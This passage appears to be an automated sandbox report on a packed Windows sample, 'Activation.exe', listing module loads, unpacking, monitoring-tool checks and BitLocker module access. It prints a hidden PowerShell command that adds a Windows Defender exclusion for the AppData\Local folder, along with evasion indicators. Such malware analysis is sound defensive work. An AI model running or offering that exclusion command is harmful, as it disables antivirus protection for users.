Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Xml.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdbRSDS source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1988485429.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.pdbliR source: Activation.exe, 00000005.00000002.1988485429.00000000064C9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb* source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Configuration.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Xml.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.pdb source: Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1988485429.00000000064C0000.00000004.00000020.00020000.00000000.sdmp, WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.pdbH source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdbSystem.Windows.Forms.dll source: WERC943.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Activation.PDB source: Activation.exe, 00000005.00000002.1988485429.0000000006470000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Management.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Activation.exe, 00000005.00000002.1957269528.0000000001263000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Management.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: n,C:\Windows\System.pdb source: Activation.exe, 00000005.00000002.1943019008.00000000003A8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: Z:\Oreans Projects\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: Activation.exe, 00000005.00000002.1943748792.0000000000548000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERC943.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: Activation.exe, 00000005.00000002.1957269528.0000000001215000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.pdby source: WERC943.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERC943.tmp.dmp.9.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Activation.exe

Unpacked PE file: 5.2.Activation.exe.520000.0.unpack :ER; :R; :R;.imports:W;.rsrc:R;.themida:EW;.boot:ER; vs :ER; :R;

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local			Jump to behavior

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: Activation.exe.0.dr	Static PE information: section name:
Source: Activation.exe.0.dr	Static PE information: section name:
Source: Activation.exe.0.dr	Static PE information: section name:
Source: Activation.exe.0.dr	Static PE information: section name: .imports
Source: Activation.exe.0.dr	Static PE information: section name: .themida
Source: Activation.exe.0.dr	Static PE information: section name: .boot

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFE7DF800BD pushad ; iretd	0_2_00007FFE7DF800C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFE7DF809BA push E95B02D0h; ret	0_2_00007FFE7DF809C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFE7E0515D0 pushad ; retf	0_2_00007FFE7E0515D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFE7DE7D2A5 pushad ; iretd	3_2_00007FFE7DE7D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFE7DF900BD pushad ; iretd	3_2_00007FFE7DF900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFE7E062316 push 8B485F92h; iretd	3_2_00007FFE7E06231B
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_01495178 push eax; mov dword ptr [esp], ecx	5_2_0149518C
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_05AE8028 push esp; retf	5_2_05AE8029

Source: Activation.exe.0.dr

Static PE information: section name: entropy: 7.9859308748687345

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Activation.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
